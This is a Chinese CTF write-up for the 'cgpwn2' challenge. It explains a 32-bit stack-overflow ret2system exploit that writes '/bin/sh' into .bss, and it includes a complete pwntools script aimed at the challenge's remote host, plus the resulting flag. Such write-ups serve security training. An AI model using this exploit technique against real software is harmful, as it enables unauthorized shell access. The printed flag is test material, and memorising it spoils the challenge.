【攻防世界】cgpwn2
收获
当程序中没有后门函数时,可以通过向段中写入
"/bin/sh"
,然后通过栈溢出调用system()
函数将写入的"/bin/sh"
作为参数执行在调用
system()
函数时,若想要向其传入参数,注意填充 4 个字节的数据来平衡栈,因为调用system()
函数的时候要压入一个返回地址 (直接写p32(0)
也可以,这也是一个 4 字节的数据)
为什么要填充 4 个字节?
当程序调用 system()
函数时,会自动去寻找栈底,即 ebp
指向的位置,然后将 ebp + 8
字节的位置的数据当作函数的参数
如果想将 /bin/sh
作为 system()
函数的参数,就可以在栈溢出的时候,先修改 eip
为 system()
函数的地址,然后填充 4 个字节 的垃圾数据,再将 /bin/sh
的地址写入栈上,这样调用 system()
函数的时候,就可以将 /bin/sh
作为参数,然后返回一个 shell
为什么是在
eip
(即system()
函数地址)后面覆盖 4 个字节垃圾数据而不是前面提到的 8 个字节 ?
因为当调用 system()
函数的时候,在 system()
函数中会首先执行 push ebp
指令,将 4 字节的 ebp
地址压入栈中,而此时的栈底距离参数 /bin/sh
正好 8 字节,所以应该填充 4 字节垃圾数据,这个垃圾数据将作为 system()
函数执行完后的返回地址
思路
查看文件信息:
32位 小端序,只开启了栈不可执行
尝试执行:
在 IDA 中分析:
跟进 hello()
:
有两个输入:name
和 s
,查看 name
的写入位置:
发现输入的 name
是存储在 .bss
段上的,不是在栈中
查看 s
的写入位置:
可以通过 gets()
函数溢出函数返回值,转而执行其他函数
发现后门函数:
但是这个函数只是执行 echo hehehe
,即:打印 hehehe
,并不能提供 flag
既然输入的 name
可以往 .bss
段上写入数据,因此可以考虑通过 name
往 .bss
段上写入 "/bin/sh"
,然后再通过输入 s
将栈溢出,使程序调用 system()
函数,再将事先写入的 "/bin/sh"
做为 system()
函数的参数,即可 PWN 掉程序
就是需要注意:调用 system()
函数后需要需要填充 4 个字节 的垃圾数据来保持栈的平衡,因为调用 system()
函数的时候要压入一个返回地址,需要填充 4 个字节
除了写 b'a' * 4
之外,还可以写 p32(0)
,也可以代表 4 个字节
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./cgpwn2") # 生成elf对象
system_addr = elf.symbols["system"] # 获取system函数的地址
bin_sh_addr = 0x0804A080 # s在.bss段上写入的地址,地址可以在ida中查看到,要往这里写入“/bin/sh”,然后用system函数调用它
def main():
if content == 1:
io = process("./cgpwn2") # 程序在kali的路径
else:
io = remote("61.147.171.105", 65027) # 题目的远程端口
payload = b'a' * (0x26 - 0x00 + 0x04) + p32(system_addr) # 通过栈溢出调用system函数
payload = payload + b'aaaa' + p32(bin_sh_addr) # 填充4个字节平衡栈,然后将写入“/bin/sh”的地址作为参数
io.recvuntil("please tell me your name\n")
io.sendline("/bin/sh")
io.recvuntil("hello,you can leave some message here:")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{d4336a51b8192c14138838a676822392}